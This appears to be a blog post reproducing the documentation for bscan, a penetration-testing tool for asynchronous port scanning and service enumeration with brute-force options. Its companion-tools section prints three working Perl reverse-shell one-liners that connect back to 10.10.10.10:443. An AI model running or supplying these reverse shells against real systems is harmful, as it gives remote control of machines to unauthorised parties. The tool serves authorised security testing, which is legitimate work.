Information Gathering

Bscan – An Asynchronous Target Enumeration Tool

February 6, 2019
5 Min Read
Bscan - An Asynchronous Target Enumeration Tool

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Synopsis
bscan is a command-line utility to perform active information gathering and service enumeration. At its core, bscan asynchronously spawns processes of well-known scanning utilities, repurposing scan results into highlighted console output and a well-defined directory structure.

Installation
bscan was written to be run on Kali Linux, but there is nothing inherently preventing it from running on any OS with the appropriate tools installed.
Download the latest packaged version from PyPI:

pip install bscan

Or get the bleeding-edge version from version control:

pip install https://github.com/welchbj/bscan/archive/master.tar.gz

Basic Usage
bscan has a wide variety of configuration options which can be used to tune scans to your needs. Here’s a quick example:

$ bscan 
> --max-concurrency 3 
> --patterns [Mm]icrosoft 
> --status-interval 10 
> --verbose-status 
> scanme.nmap.org

What’s going on here?

  • --max-concurrency 3 means that no more than 3 concurrent scan subprocesses will be run at a time
  • --patterns [Mm]icrosoft defines a custom regex pattern with which to highlight matches in the generated scan output
  • --status-interval 10 tells bscan to print runtime status updates every 10 seconds
  • --verbose-status means that each of these status updates will print details of all currently-running scan subprocesses
  • scanme.nmap.org is the host upon which we want to enumerate

bscan also relies on some additional configuration files. The default files can be found in the bscan/configuation directory and serve the following purposes:

  • patterns.txt specifies the regex patterns to be highlighted in console output when matched with scan output
  • required-programs.txt specifies the installed programs that bscan plans on using
  • port-scans.toml defines the port-discovering scans to be run on the target(s), as well as the regular expressions used to parse port numbers and service names from scan output
  • service-scans.toml defines the scans be run on the target(s) on a per-service basis

Detailed Options

Here’s what you should see when running bscan --help:

usage: bscan [OPTIONS] targets

 _
| |__  ___  ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|

an asynchronous service enumeration tool

positional arguments:
  targets               the targets and/or networks on which to perform enumeration

optional arguments:
  -h, --help            show this help message and exit
  --brute-pass-list F   filename of password list to use for brute-forcing
  --brute-user-list F   filename of user list to use for brute-forcing
  --cmd-print-width I   the maximum integer number of characters allowed when printing
                        the command used to spawn a running subprocess (defaults to 80)
  --config-dir D        the base directory from which to load the configuration files;
                        required configuration files missing from this directory will
                        instead be loaded from the default files shipped with this
                        program
  --hard                force overwrite of existing directories
  --max-concurrency I   maximum integer number of subprocesses permitted to be running
                        concurrently (defaults to 20)
  --no-program-check    disable checking the presence of required system programs
  --no-file-check       disable checking the presence of files such as configured
                        wordlists
  --no-service-scans    disable running scans on discovered services
  --output-dir D        the base directory in which to write output files
  --patterns [ [ ...]]  regex patterns to highlight in output text
  --ping-sweep          enable ping sweep filtering of hosts from a network range
                        before running more intensive scans
  --quick-only          whether to only run the quick scan (and not include the
                        thorough scan over all ports)
  --qs-method S         the method for performing the initial TCP port scan; must
                        correspond to a configured port scan
  --status-interval I   integer number of seconds to pause in between printing status
                        updates; a non-positive value disables updates (defaults to 30)
  --ts-method S         the method for performing the thorough TCP port scan; must
                        correspond to a configured port scan
  --udp                 whether to run UDP scans
  --udp-method S        the method for performing the UDP port scan; must correspond
                        to a configured port scan
  --verbose-status      whether to print verbose runtime status updates, based on
                        frequency specified by `--status-interval` flag
  --version             program version
  --web-word-list F     the wordlist to use for scans

Companion Tools

The main bscan program ships with two utility programs (bscan-wordlists and bscan-shells) to make your life a little easier when looking for wordlists and trying to open reverse shells.

bscan-wordlists is a program designed for finding wordlist files on Kali Linux. It searches a few default directories and allows for glob filename matching. Here’s a simple example:

$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt

Try bscan-wordlists --help to explore other options.

bscan-shells is a program that will generate a variety of reverse shell one-liners with target and port fields populated for you. Here’s a simple example to list all Perl-based shells, configured to connect back to 10.10.10.10 on port 443:

$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Note that bscan-shells pulls these commands from the reverse-shells.toml configuration file. Try bscan-shells --help to explore other options.

Development

Start by setting up a new development environment and installing the requirements (using virtualenvwrapper / virtualenvwrapper-win):

# setup the environment
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev

# get the deps
pip install -r dev-requirements.txt

Lint and type-check the project (these are run on Travis, too):

flake8 . && mypy bscan

When it’s time to package a new release:

# build source and wheel distributions
python setup.py bdist_wheel sdist

# run post-build checks
twine check dist/*

# upload to PyPI
twine upload dist/*

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